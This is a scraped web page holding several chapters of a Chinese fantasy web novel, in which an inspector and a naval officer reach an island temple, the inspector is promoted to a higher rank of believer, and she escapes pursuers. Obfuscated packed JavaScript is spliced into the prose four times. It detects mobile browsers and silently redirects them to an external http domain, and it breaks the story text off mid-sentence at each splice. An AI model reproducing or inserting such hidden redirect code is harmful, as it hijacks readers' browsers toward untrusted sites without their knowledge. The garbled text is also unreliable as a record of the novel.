;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402520|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼寄信人温蒂·奇塔龙飞凤舞的字迹,大概明白信件内容。 她谢过朱莉亚夫人,继而将信封放进包里,并没有当场拆开的想法。 她没有遗忘,莱亚还站在自己旁边。 他是一个相当出色的窥探者。 两人随意找了一家餐馆坐下,住得极近林恩其实并没有来过,因而面对菜单多少带了些生疏。 “我不是为了吃饭而来的,毕竟威灵顿审查官刚请我吃了顿海鲜盛宴。”莱亚说着,随意点了杯红茶,就把菜单交还给侍者。 “说起来……今天谢谢你了。” 林恩决定不做一个忘恩负义的人,真诚感激。 “我甚至为此答应了威灵顿审查官一个要求。”莱亚慢条斯理地说,“他让我帮助他调查,朗氏公司的爆炸案。” 爆炸案…… 想到这件事,林恩的笑容敛下来。 她下意识问:“爆炸案与四号码头有什么关系?” 莱亚幽深地看了眼林恩,“你是真不知道还是假装不知道?亨利·朗是信徒,自然与四号码头相关。” 也是。 林恩点点头,又忍不住出主意:“就不能说是意外吗?黑白颠倒的事情,蒙德里安干的可不少。” “亨利·朗是个蠢货,不代表他的哥哥西斯·朗是。”莱亚点了点桌面,“他追求的是真相。因此,你可以放心,你不会成为替罪羊。” 林恩蹙眉,“为什么我会成为替罪羊?” “威灵顿的提议,我帮你否决掉了。”莱亚笑道,双手交叉枕在脑后,“亨特审查官,你真的欠我很多人情呢。” 虽然面前的男人露出一副令人厌恶的自大,但林恩不得不承认他说的是事实。 她凝视了莱亚几秒,随后缓缓开口。 “所以,你的人情需要什么样的回报?” 和聪明人交易就是轻松。 莱亚觉得自己并没有看错人。 “我知道你为什么想调查‘月亮号’,因为你想晋升为八级信徒。” 莱亚并没有直接提要求,反倒继续拿捏着林恩的命门。 “一开始我很好奇,你是从哪里得知月亮号的消息的。但很快,我想通了:这跟你的异能相关。 亨特小姐,你的异能与谎言无关,与信息有关,是吗?” 面对莱亚的询问,林恩没有回答。 “我的条件很简单,亨特审查官,帮我找到七级神殿,帮助我晋升七级信徒。”莱亚捏了捏手指, “詹姆斯·威利斯拒绝朝我透露七级神殿的地址,并且他现在对我有很大的提防之心。” “先跟我说一说替身玩偶的事情吧。”林恩没有盲目答应。 相反,她更想套一下话出来。 “你认识替身玩偶,我知道你不会透露他的身份。我只想知道他是几级信徒。” “就我所知,是八级信徒。”莱亚说,“但是我怀疑他已经晋升。” “替身玩偶出现在康纳利审查官的葬礼了,对不对?我和他接触过了,是不是?!” “别问了,亨特小姐,我无法说。”莱亚摇了摇头,笑容有些苦涩。 “我只提醒您,去探究替身玩偶对您来说是一件相当危险的事情,我绝对不建议您这么做。” 他的用词相当古怪。 “无法说”? 林恩下意识觉得,大概是有某种不被允许吐露的魔法,将替身玩偶与莱亚·古德温绑定在一起。 但莱亚并不甘心。 他想困在蛛网中的虫子,正在试图挣脱。 思考良久,林恩点头: “我会帮您。” “明日早晨八点,我将驾驶海军巡逻艇在四号码头等你,亨特小姐。”莱亚终于露出习惯性的笑脸,“先祝您晋升顺利。” 34. 白琳的王室密道 待莱亚·古德温离开,林恩坐在餐馆里,掏出温蒂·奇塔的信封,一目十行地阅读起来。 【你要的东西已经有了眉目,再过三天就能拿到。 届时,我会在家等待你。 记得带100金塔拉的尾款,这东西价值不菲。 W·奇塔】 看样子,过不了多久她就可以用上窃听机器人了。 林恩掏出日程本,写下了“前往阿尔卡迪亚大学”几个字,随后又看了眼今日的计划: 只剩下一项待完成,就是询问白琳有关浅湖宫的秘闻。 林恩叹了口气,伸手招呼侍者结账,顺手又买了一份麦芬蛋糕给莉亚当点心。 ——这小姑娘第一天当卖报童,估摸着也没有吃正餐。 至于莱亚·古德温的请求,林恩完全没放在心上。 只要她想,她可以随时获得七级神殿的位置:白琳必然不会对她产生警惕之心。 至于为什么詹姆斯·威利斯不愿给莱亚·古德温透露七级神殿的地址,林恩完全没想通。 他不惜冒着莱亚与他反目的代价。 莱亚究竟能给他带来什么? 既然想不通,林恩也没打算继续思考。 她提着麦芬蛋糕回到桔梗街时,白琳已经到家,甚至已经登堂入室占用了林恩的厨房,在教莉亚制作奶油蘑菇汤; 而平底锅里,几片牛肉正在滋滋作响。 “听莉亚说,你跟男人约会去了?”白琳抽空抬头看了她一眼,嬉笑着问。 “我?”林恩笑起来,“的确是去见了个男人。” 一边说着,她一边洗干净手,被白琳的厨艺诱惑,决定再吃一顿。 “对了,你今天想问我什么?” 一边说着,白琳把餐盘端上桌,拿起汤勺尝了口白酱,又添了些黑胡椒进去。 “好了,莉亚,我们吃饭吧!” “我这几天在调查浅湖宫。你之前听说过什么秘闻吗?” “浅湖宫做了这么多年王宫,秘闻多得数不胜数。”白琳想了想,完全不知从何谈起,“你肯定不想听血色九月之后的故事吧?” 林恩点头。 “我想想……” 白琳一边思考,一边与莉亚好奇的视线对上。 她忍不住拍了下莉亚的脑门,“小孩子,别这么好奇。” “好吧。”莉亚捂着额头,闷下头啃着面包。 “对了,浅湖宫之前一直流传着女官死亡的传闻!”白琳道,“在我小的时候,经常听说有女官会莫名其妙失踪,据说是被浅湖宫里四处可见的大理石雕塑吞食了。” “啊!” 莉亚发出小小的惊呼。 “因为啊……每天早晨,大理石雕塑的嘴唇,都会变成血液一样的殷红色!” 白琳的声音猛地增大,吓得莉亚捂着耳朵,疯狂摇着头。 “别吓唬小孩子了。”林恩道,“到底是怎么回事?” “也没什么,就是做了贵族们的情妇,被悄悄接出宫了。”白琳耸肩,颇有些遗憾,“真相很无聊的,没有故事有趣,你说对吧!” 她拿手指戳了戳莉亚。 莉亚背过身,不愿搭理故意吓唬自己的可恶大人。 “也就是说,就算真的有女官失踪,其他人也不会知道。” 林恩用勺子搅动着汤碗,随后合理推测道。 “或许。” “那你听说过莱雅宫女吗?”林恩又问。 白琳摇头。 林恩继续尝试,“那玛丽亚女官呢?” 这一次,白琳愣了神,似乎从记忆的某个角落搜寻到了这个名字。 “玛丽亚·通古拉?” 她有名有姓地报出一个名字。 “她是谁?” “血色九月发生时,安妮王后的贴身女官,据说是个很厉害的女人。”白琳解释道,“在安妮王后死之前,似乎玛丽亚女官就逃出了王宫。” 如此经历,难怪白琳事后这么多年都还记得。 “不过,玛丽亚女官更厉害的可不是逃出危机四伏的王宫!” 尽管房间里没有旁人,但白琳还是下意识地压低了声音。 “据说她离开之前,偷走了国王与王后的冠冕!” 冠冕? 林恩目瞪口呆地听着,“那理查德四世岂不是——” “没错,他登基的时候,戴了一个仿制品!”白琳笑着,“王位是偷来的,冠冕也是假的,也难怪没当上几年国王就被推翻下台了。” 偷走了……某个东西…… 林恩下意识觉得自己遗漏掉了什么,但她努力思考了一番,却还是没回想起来。 不过,即便现在记不起来,也不妨碍林恩把这件事三言两语记录在笔记本上。 她一边写着,一边询问,“既然玛丽亚女官能突破重兵把守的浅湖宫,那是不是说明浅湖宫内存在一条密道?” “是的。” 白琳回答得相当笃定。 啊? “当然了,估计不止一条密道,但我就知道一条。”白琳说,“这已经是半公开的秘密了,内务官甚至会派人看守在密道尽头。如果我们被抓到,都要被她惩罚。” 林恩立刻翻开前几日画的草图,推到白琳眼前。 “这里是中央大区北站。”白琳在地图上做了个小标记,“这里是白教堂,白教堂后墙的神像后面有一个狭窄的入口,一般不会有人注意。” 笔尖划过纸页,落在尽头的浅湖宫内。 “密道的出口就是浅湖宫的后厨,就在地下一层。”白琳道。 林恩一边听,一边牢牢记下。 “林恩,万事小心。浅湖宫虽然已经荒废多年,但仍旧有无数双眼睛持续关注着。” 白琳说着,垂下头,表情难以琢磨。 “我并不是有意想让你淌进浑水,完全是因为那天预知到你的危险,不得已而为之。如果你出了事,我真不知道该怎么弥补才好。” 察觉到二人的对话有些严肃,莉亚也停下了叉子,忧心忡忡地盯着她们。 “不会让你弥补的。” 林恩摸了摸莉亚的脸蛋,“我不会有事的,相信我。” 她信誓旦旦。 == 这天夜里,林恩睡了个舒服的长觉,多少弥补了前几日的不足。 等到敲窗人唤醒她,林恩精神抖擞地起床,换上了厚实的里衣,又在外面添了件防风的长风衣。 她照例拿上了公文包。 不过,等到准备出门时,林恩又注意到了墙角放着的、属于“迷惑之声”的手杖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413656|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她想了想,一把抓了起来,攥在手心。 穿衣镜中,今天的林恩与以往的林恩·亨特审查官完全不同。 她看上去……更像信徒。 甚至于,有几分白琳的模样! 林恩拦下一辆出租马车,顺道看了眼怀表的时间,显示刚好七点整。 “去四号码头,先生。” 她抬起头,压了压黑色礼帽的帽檐,沉声说道。 车夫只花了半个小时,就顺利到达了四号码头,并收取了林恩一枚金塔拉外加七个银舌尔。 早晨的行驶时间较短,价格也稍许便宜一些。 周边都是忙碌的码头工人。 刚好是清晨,夜里出海的渔船纷纷返航,精明的鱼贩与采买人拥挤在码头,让原本就狭窄的道路更加水泄不通。 林恩冷着脸,快速钻进人群。 虽说心想着快点找到莱亚·古德温,但真正挤入人群之后,林恩才发现自己根本没有办法迅速找到出口。 前后人流夹击着她,完全把通道堵死。 鼻息间满是海水的咸腥味与鱼类的腥臭味,惹得她有些反胃。 林恩正在皱眉,一双手忽然抓住她的胳膊! 她猛地回过头,只见莱亚·古德温静静地瞥了她一眼,而后抓住她的胳膊,把她拽出人群。 “这里走。” 他低声说道。 他今日并没有大肆宣扬地穿上制服,而是换了身工人打扮的亚麻色格子衬衫与宽阔的深卡其色呢裤,看上去与码头的工人并无二致。 “海军的巡逻艇不在这里,需要走一段路。”莱亚凑在林恩耳边悄声说,目光下移,落在林恩的硬牛皮短靴上。 “没问题。” 莱亚点了点头,仍旧攥着林恩的胳膊,用身体阻隔着来自外界的视线。 不知为何,他心里总萦绕着抹不开的不安。 步行了十几分钟后,林恩终于在码头的尽头看到了莱亚所说的海军巡逻艇。 这是一艘……很小的船只。 尤其是与旁边的庞然大物相比,更显得袖珍了。 “我知道你在想什么。”莱亚说,“不过,它的时速可以达到30海里每小时,是个不容小觑的快速蒸汽艇。” “这速度真够夸张的。”林恩一边嘟囔着,一边跳上巡逻艇。 驾驶舱只能容纳两个人。 当她踩进蒸汽艇时,轻飘飘的小船猛地晃了晃,而后溅起四散的水花。 而莱亚已经掏出了碎金城的海域地图,摊在驾驶台上。 “这个位置,就是八级女神神殿的地点。” 他在一粒芝麻大的岛屿上画了个圆圈,而后将地图丢给林恩。 “你大概不会开船吧?” “不会。” “也不会驾驶飞艇?” “不会。” 莱亚·古德温瞥了她一眼,难得有些遗憾。 “或许,你真应该学一下。” 他说道,一边启动了蒸汽艇。 螺旋桨的转动带动整艘船的震动,在巨大的噪声里,蒸汽艇被推出了码头。 林恩的面孔上吹拂到了来自辽阔海域的风。 随后,她听见莱亚的声音: “要知道,只有在驾驶的时候,你才会觉得人生属于自己。” 35. 八级信徒(一) “所以,你学会开船的契机是什么?” 林恩眯起眼询问莱亚。 海风随着船速飙升而变得凶猛,她几乎睁不开眼睛。 “唔,月亮号一开始的船长是我。”莱亚·古德温说道,“我天生就会开船。” 林恩哼笑一声,没有放在心里。 “可别不相信。我出生时,接生婆就把我的胎盘卖给了远洋水手,说这可以给他们带来好运。”莱亚道,“据说,这位水手平安退休了。” “远洋水手?”林恩反倒好奇这个,“他们的目的地是哪里?” “蚀日国吧,绝大多数的目的地。”莱亚也只是胡乱猜测;他本人并没有任何途径获知任何与水手有关的讯息。 林恩还是第一次听说。 “蚀日国?” “小姐,如果你好奇,可以去翻阅书本。”莱亚·古德温不愿被当作百科全书,“做好准备吧,我们即将上岸。” 林恩不得不正了正神色,目光投向天际出现的一抹绿色。 一座狭长的礁石小岛。 莱亚避开危险杂乱的礁石,把海军巡逻艇停泊在背风面的沙滩上。 铁锚紧抓在潮湿紧实的沙子上,划出几道醒目的痕迹。 “走吧。”他一边说着,率先跳下船,蹚水步行至沙滩上。 林恩用迷惑之声的手杖当作拐杖,支撑在湿软的沙子上,灵活地跳下来,皮靴甚至都没有沾湿。 莱亚·古德温谨慎地盯着林恩手中的铁质手杖,眼神里满是质疑: “这东西不属于你吧?” “不属于我。” 莱亚心头一紧:“你把迷惑之声怎么样了?” 林恩深深地看了他一眼,最终没有回答。 莱亚不是蠢货,光是看林恩的态度,应该能猜测到事情经过。 “他的异能不容小觑……你是怎么做到的?” 莱亚皱紧眉头,忽然意识到了什么,“怪不得威利斯先生这几天很生气……” 林恩甩了甩手杖上的沙子,“我使用了蒸汽枪。这会给我惹上麻烦吗?” “当然。” 果然如此。 林恩叹口气,“事已至此,威利斯本就视我为眼中钉,现在不过是多恨我一点罢了。” “就我所知,他还没有怀疑到你身上。” 莱亚道,一边抽出匕首,砍断眼前层层叠叠的凌乱藤蔓,“他们并不知道你是信徒。” “但愿他们不要发现。” 林恩说,一边拿手杖戳了戳莱亚的后背,“神殿在哪里?” 莱亚扭头瞪林恩。 “你不要用肮脏的东西碰到我!” “好吧好吧,我的错。” 见她诚心道歉,莱亚也就瞬间灭了怒火。 “神殿的等级愈是提高,进入神殿也就愈发困难。这也就是威利斯先生致力于建造人造神殿的原因。” 林恩点了点头。 “不过,你不用担心,这座神殿没有异种生物驻守,只不过是花些体力罢了。” 异种生物……驻守? 光是听到这几个字连在一起,林恩就觉得有些荒诞。 “不,等等。”她蹙眉,“威利斯是怎么进入神殿的?据我所知,他的异能不具备攻击性。” 莱亚停下脚步。 “你怎么会知道?” 他的目光直勾勾地钻了过来,却并没有威胁。 林恩一言不发,只从口袋里掏出匕首,对着莱亚的耳侧用力一击! 莱亚·古德温并不惊慌:他不觉得林恩想对自己动手。 他只闭了眼,随后很快听见耳畔传来刀尖刺进血肉的“噗嗤”一声。 极轻的血腥味传了出来。 “我当然有我的途径,古德温上校。” 林恩把红环粗蟒的尸体丢进树林,随后漫不经心地回答着。 莱亚说:“威利斯先生是五级信徒‘博学者’,我不太清楚具体是如何运作的,但他对一切都了如指掌。” “博学者……真理树的?” “是的。” 得知詹姆斯·威利斯的异能,对林恩来说也没什么好处。 只不过,林恩唯独好奇一件事。 威利斯为什么如此惧怕康纳利审查官“查到自己身上”? 他与血色九月、与安妮王后的死,到底有多大关系? 莱亚没有注意到林恩的沉默。 相反,他甚至一度为林恩的安静感到庆幸。 “前面就是地下深坑,我们需要小心攀爬。”莱亚指着前方的河流尽头说道。 林恩抬起头,只见地面中央出现一个巨大的坑洞,河流在这里变成瀑布,奔涌着流淌而下。 水花四溅,经过阳光的折射,半空中出现一道淡淡的彩虹。 莱亚从包里取出粗麻绳,牢牢地捆绑在粗树干上,打了个漂亮的水手结。 “把这个绑在身上,亨特小姐。”他说着,递了一段保护绳给林恩,“它在你失足时可以保护你。” 林恩接过保护绳。 因为没有使用过,她愚钝地尝试着用死结绑紧,却总是失败。 莱亚叹了口气,“我来吧。” 一边说着,他一边凑近了些,垂头耐心地帮林恩绑紧绳结。 “唔,谢谢你。” 林恩看了他一眼,又稍许调整了尺寸,便深吸一口气,抓着粗麻绳使劲拽了拽。 “需要我先去探路吗?”莱亚询问着。 哪知下一秒,林恩就已抓着粗绳跳了下去! 她的手臂承担着身体的全部重量,皮靴划过凹凸不平的石壁,小心地控制好速度。 “小心!” 林恩的脚尖踢在一块凸起的摇摇欲坠的石头上,巨石瞬间掉落下去,砸在坑底的水潭中。 呼。 林恩出了一身冷汗,逐渐减缓了速度。 她抬头看了眼头顶的莱亚,做了个安全的手势。 很快,她的皮靴终于触到了地面。 “你下来吧!”林恩解开保护绳,一边张望着四周。 瀑布最终落在水潭中,滋养了坑底的一整片丛林。 茂密的树林完全阻挡了视线,让林恩无法看清四周的石壁,也就无法寻找到洞穴的入口。 幸好有莱亚。林恩心想。 倘若没有他来指引,她或许得困在这座岛屿两三天,才能找到神殿。 莱亚的速度很慢,但每一步都很稳当。 林恩静静地看着他往下爬,目光落在坑顶的粗麻绳上,忽然瞳孔紧缩: 麻绳……有断裂的迹象?! 她紧张地咽了下口水,仰头看着莱亚,手心被汗水濡湿。 可不要现在断掉! 莱亚并没有注意到。 距离地面还有三米之高,他的身体忽然一松! “小心!”林恩喊道,一边提醒他抓紧石壁的凸起。“绳子快断了,莱亚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林恩点点头,拄着手杖深一脚浅一脚地往前走。 很快,眼前就出现一堵雕刻着神谕文的石门。 林恩凝视良久,却仍旧无法识别门上的文字是什么意思。 还没等她发问,就听见莱亚的声音从她身后传了过来。 “你把手中的手杖插/入石门中心的凹槽。”他说,“这是康纳利审查官与威利斯先生一齐设计的机关,只允许神学院的信徒进入。” 他看了眼林恩的手杖,“我原本打算让你借用我的。不过,既然你自己带了……” 面对类似于门禁卡的机关,林恩眼皮跳了跳。 “他们会知道是谁打开的机关吗?” “我不知道。” 莱亚摇头,“我的权限不足以知道这些,只有康纳利审查官才会知道。” “我们必须速战速决。” 林恩面色凝重,“我觉得威利斯知道的可能性很高!” “那就听你的。” 莱亚并没有什么意见。 他现在的注意力,完全集中在“谁要害死自己”上。 36. 八级信徒(二) 林恩狠下心,将迷惑之声的手杖杵进凹槽! 轰隆巨响过后,石门随之打开,露出漆黑幽深的山洞。 还没等林恩反应过来,成团的漆黑鬼影就迅速朝二人扑来—— 林恩立即蹲身躲避。 “只不过是蝙蝠而已。”莱亚斜睨了林恩一眼,“走吧。” 漆黑潮湿的山洞存在蝙蝠倒也合理。 林恩回头看了一眼,已完全看不清蝙蝠的模样了,只依稀看出一团黑云往丛林深处逼去。 “你还不来吗?” “嗯,来了。”林恩摇了摇头,只觉得刚刚出现了错觉。 蝙蝠怎么可能长出人脸呢? 地面湿漉漉的,狭长的地下河漫出河床,长出一地滑腻的青苔。 林恩扶着墙壁缓慢前行,稍不注意,脚下就立刻变成溜冰场。 很快,前方就出现一点亮光。 “主殿到了,亨特小姐。”莱亚的脚步很稳当。 因为早就清楚山洞里的情况,他今日特意穿了防滑鞋。 离近了些,林恩才注意到四周的灯火统统是淡绿色的夜光石,被镶嵌在精致的黄铜灯罩之内。 主殿借用了原本的山体空洞,因而内部空旷崎岖。 与巨龙镇的神殿类似,正中央的祭坛上也同样摆着淡蓝色的巨型晶石,让幽闭的山洞亮堂许多。 “你需要匕首吗?”莱亚问道,声音在四壁反复撞击,回声层层叠叠。 林恩指了指腰间,而后摇头。 她的手指冰凉。 即便是体验过一次,林恩仍旧觉得惶恐不安。 见她踟蹰不已,莱亚又问:“需要我帮忙吗?” 林恩将手掌贴住晶石,冰凉的触感顺着掌心蔓延全身。她甚至能感觉到晶石内部的跳动,就像是大地的心跳。 “不用,我自己试一试。” 一边说着,林恩一边抽出小刀,用干净的棉布重新擦拭刀刃,随后对准自己的手掌,轻轻划了一道。 手心一开始只能感觉到凉,就像是一阵冷风吹过、或是一道细细的水线。 随后,血液淅淅沥沥落下,痛感也终于出现。 晶石吮吸着林恩的鲜血,她只觉得一阵晕眩,随机趴在祭坛上。 莱亚皱眉看着三米开外的祭坛。 这不是他第一次目睹信徒晋升,却没有一次像眼前这样古怪。 林恩的进程缓慢很多…也痛苦很多! == 林恩只觉得自己的灵魂漂浮在波动的水面上。 血肉被啃食了一半,完好无损的灵魂刚好通过破损的躯体,渗透进蓝色晶石,似乎进入封闭的另一空间。 等到睁开眼时,汹涌的滔天巨浪遮蔽了半个天空,黑压压地朝她挤压过来! 即便试图躲避,却也根本不知躲避在何处,林恩只得眼睁睁地看着自己被打入海底。 待雪白的泡沫散尽,眼前赫然出现一座布满水草与青苔的巨型神殿! 她不是……已经身处神殿之中吗? 这里又是哪里? 林恩仰头,注视着这座巨大的、由圆形石柱拼接而成的神殿。 巨物的威压密不透风地盖住她,逼仄得几乎无法喘息。 她不得不靠在石柱上,喘了几口粗气。 后背抵着湿滑的水草,指甲盖大的海螺密密麻麻附着在石柱表面,带来坚硬的触感。 林恩皱了皱眉,忽然觉得身旁的石柱在发出有规律的颤动。 像是…… 在缓慢呼吸! 她心脏瞬间被攥紧,立刻跳离了几米。 “轰——” 似乎感受到了活物的存在,圆形立柱猛地颤动,而后甩开表面的所有依附物。 眼前的立柱…… 竟是异种生物的庞大触须! 林恩只觉得后背像是攀附着无数蠕虫,啃食着她脆弱的神经。 异种生物苏醒了! 林恩捂住嘴,躲避在飘摇的水草之间,眼睁睁看着一根根“立柱”舒展又卷曲,布满吸盘的触须胡乱甩着,海水也被搅动出巨浪。 它的头颅终于黑压压地沉了下来,吸附着无数头颅大小的浑浊眼球,在深黑的海洋里止不住地旋转。 林恩闭上眼,身体本能地因恐惧而颤抖。 怪物没有看到她。 又或许看到了,但觉得人类太过渺小,以至于不需要过多在意。 它发出低频却洪亮的呓语,讯息无法被立即识别,却如利刃般扎进林恩的神经与大脑深处。 深海的低语令林恩战栗不已,即便它已离去,恐惧却仍旧积压在大脑的角落。 林恩捂着耳朵,却又听见深海传来另一种声音。 “……异神降临……” “……杀掉……” “……杀掉神!” == 时间有些久。 莱亚·古德温再一次撩开袖子,看了眼时间。 距离林恩晋升已经半个小时了,若放在以前,甚至足够三五个信徒晋升。 她怎么花了这么久? 难不成她九级信徒的异能还没有彻底吸收? 莱亚面色沉了下来,担忧地望着祭坛。 他大概明白,林恩如此急切盼望晋升的原因:她的处境实在是太糟糕了。 正当莱亚焦急等待时,林恩的身体忽然一软,整个人滑溜溜地从晶石上滚了下来! 莱亚冲上前,接住林恩的身体。 眼前忽然光芒大作! 一道雷电般的亮光从蓝色晶石内部爆发出来,立刻照亮整个山洞。 山壁的神谕文终于闪烁出水波状的光斑。 “永恒?” 莱亚眯了眯眼,念了出来。 他一直以为林恩和他一样,属于“真理”。 她竟是永恒树上的?! 那岂不是和替身玩偶一样了? 正当莱亚疑惑沉思时,林恩终于悠悠转醒。 她掀开眼皮,目光无神地聚焦在山洞顶部的钟乳石上,随后晃了晃脑袋。 ——刚刚经历的一切,似乎是幻觉。 但幻觉也会如此真实吗? 她张了张嘴,却发现自己的大脑痛得惊人,几乎说不出话来。 “你这是精神受损的症状。”莱亚道,又看了眼时间。 “我们不能再耽搁了,亨特小姐。抱歉了。” 他的歉意让林恩摸不着头脑。 但下一秒,莱亚就一把抱起林恩,让她软软地趴在自己后背,而后迈着大步离开神殿。 “我耽搁了很久吗?”林恩问道。 她的嗓音飘渺且缓慢,回音也同样飘渺涣散。 “是的,很久。” 莱亚托着林恩的身体,“你别说话了,亨特小姐,你现在需要精神安抚剂。” 精神安抚剂? 林恩用麻木的脑袋想了一会儿,终于意识到莱亚说的是阿格尼格医生在诊所里售卖的价值不菲的药物。 她动了动脑袋,指了下地面,“我包里有一支。” 她的公文包,正摇摇晃晃地挂在莱亚的手腕上。 “唔。”莱亚停下脚步,解开公文包的扣子。 咕嘟咕嘟喝完一整支药剂之后,林恩只觉得脑袋里吹过一阵凉风,原本那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林恩脑袋里瞬间闪过这个念头,随后意识到自己不能坐以待毙。 她绝不能成为神学院随意可以抓住的兔子。 林恩“蹭”一下站起身,顺着莱亚的道路慢吞吞地朝石壁攀爬而上。 下来只花费五分钟,但爬上去足足用了半个小时。 等到重新回到地面,林恩的后背已经湿透了。 她喘着粗气,深一脚浅一脚地顺着来时路往回走,却忽然听见远处遥遥传来几声犬吠! 狗? 有人来了?! 林恩知道,威灵顿审查官在国民卫队饲养了一群嗅觉极度敏锐的搜寻犬,能够根据蛛丝马迹嗅到气味,而后迅疾撕咬住搜查对象。 她绝对无法与这样的犬类抗衡! 沙沙声逐渐逼近,林恩似乎能嗅到空气中的犬只气味。 不能坐以待毙! 她咬了咬牙,换了条路线,沿着河流迅速往前跑去。 “汪——汪汪!” “这里有人!”蒙德里安·威灵顿放开牵引绳索,冷笑着跟在搜寻犬身后,“威利斯先生,请您放心,搜寻犬从无败绩。” 他语气狂妄且自信。 詹姆斯·威利斯知道,威灵顿审查官有他的资本。 “找到了吗?”蒙德里安跟随犬只来到溪流尽头,盯着眼前的巨型深坑,拧紧了灰白色的眉毛。 “人在底下?” 詹姆斯面色沉郁,盯着紧闭的山洞大门。 “或许吧。” 停顿两秒后,他森森开口。 37. 八级信徒(三) 林恩将整个人埋进河流里。 即便天气和煦,但海岛的水流仍旧冰冷难耐。林恩哆嗦了一下,捏住鼻子将头顶也一起淹没。 犬只虽然嗅觉敏锐,奈何闻不出活水的气味,林恩获得了短暂的安全时间。 但岛屿本就狭窄,能躲避的空间实在有限。 该躲在哪里呢? 林恩眯起眼,探出头呼吸了一口空气,又重新潜入水中。 她忽然想起,在船上瞥过一眼的、却完全没记住的海岛地图—— 说不定能够得到灵感! 【我要严查一下自己今日的记忆。】 林恩下意识在心中默念。 不,不对。 林恩想,她已经变成八级信徒,如莱亚所说,她现在拥有了崭新的异能。 破损的记忆碎片没有出现,时间似乎暂停,林恩的灵魂被拖入另一个完全陌生的殿堂。 这里……像是图书馆?! 密密麻麻的图书摆放在书架上,散发着炽烈的光芒。 书架向走廊深处延伸,完全看不到尽头。 林恩伸出手,刚刚触摸到最近的一册书,眼前就赫然出现方才漆黑一片的山洞、清澈见底的潭水、以及迅速闪过的蝙蝠。 【暂停。】 眼前的场景在林恩的掌控下立刻被冻结。 随后,她仰头看着于自己擦肩而过的蝙蝠: 她方才看得没错,蝙蝠黑色短绒毛的翅膀里,躲藏着一张阴惨惨的人脸! 林恩立刻望向“自己”。 因为惊吓,她半蹲着身子,捂着面孔,生怕被袭击。 ——或许,通风报信的蝙蝠并没有“目睹”她的脸? 她暂时还是安全的。 而莱亚·古德温却露出了大半张面孔,他的样貌完全暴露在蝙蝠的窥探之下。 【继续。】 场景以倍速回退,如同播放着无声电影。 这一次,林恩终于看清巡逻艇上的地图了。 泛黄的纸页上,描绘出海岛蜿蜒的、迎风侧的海岸线。 那里布满了红树林。 林恩盯着那串代表“红树林”的黑体字母,逐渐陷入沉思。 红树林并不适合穿行:树木的根系庞大众多,织成一张天然的硬质大网,要想挣脱出去,大约需要花费不少体力。 林恩眯了眯眼。 事到如今,只能赌一把了。 == “月亮号”的博夫船长偷偷摸摸从腰间抽出钢制酒壶。 今天他驾驶的并不是熟悉的“月亮号”,而是四号码头的一艘快速蒸汽船: 虽然体积不大,但是速度要比月亮号这样的大船快了不少,最高时速甚至可达到20海里。 真是艘好船。 博夫拧开酒壶盖,往嘴里灌了口烈酒。 刺激的酒液顺着喉咙流淌而下,灼烧着他的食道,让博夫感受到一股难以言喻的快活。 他凌晨才回港,入睡没多久就收到了威利斯先生的来信,让他立刻前往神殿岛。 因此,现在正是疲倦的时候。 只不过,“月亮号”的燃料还没来得及补充,他们不得不换上了速度更快的蒸汽船。 博夫很少驾驶小船,多少有些不适应。 他又喝了口酒,把粗短的双腿架在方向舵上,一边胡乱地哼起歌。 “砰!” 还没等他坐稳,船舱就像是被石子袭击,发出一声剧烈的轰响。 什么情况?! 博夫先生坐直了身子,眯起眼观察着四周,敏锐地发觉不远处的树林里似乎有人仓皇逃窜! “这该不会就是威利斯先生想找的人吧?” 他嘟囔着,一边跳下船,甩着肥胖的身子往前探了几步。 好机会! 林恩如矫捷的猎豹从船尾蹿出,举起坚硬的铁质手杖,狠狠砸在博夫的脑门上。 胖男人措手不及,甚至一声呻吟都没发出来,就直直地面朝沙滩摔倒。 酒壶从他手中落了下来,咕噜噜滚了几圈,才停在林恩脚下。 林恩拾起酒壶,又用食指探了探博夫的鼻息,确认他没有死亡,才用船上的粗绳把他牢牢捆住。 因为不会系水手结,林恩只好系了几个死结。 好了。 她长吁一口气,立刻转过身,努力推动蒸汽船—— 金属船的重量相当可观,林恩几乎耗费了全部力气,才总算将它推进正在涨潮的海水里。 等到小船漂浮在腥咸的海水上,随着浪潮远离小岛时,林恩才趁机跳进驾驶舱里,一边盯着面前复杂的操作面板发愁。 莱亚说的不错,她的确应该掌握驾驶这项技能。 就比如现在,她正在为不会开船为难。 林恩一边思考,脑中忽然闪过一个主意。 【搜索记忆!】 “记忆宫殿”详细地记录了莱亚·古德温的驾驶操作。 虽然船型有微妙的区别,但整体都由“操纵杆”与“方向舵”两部分组成。 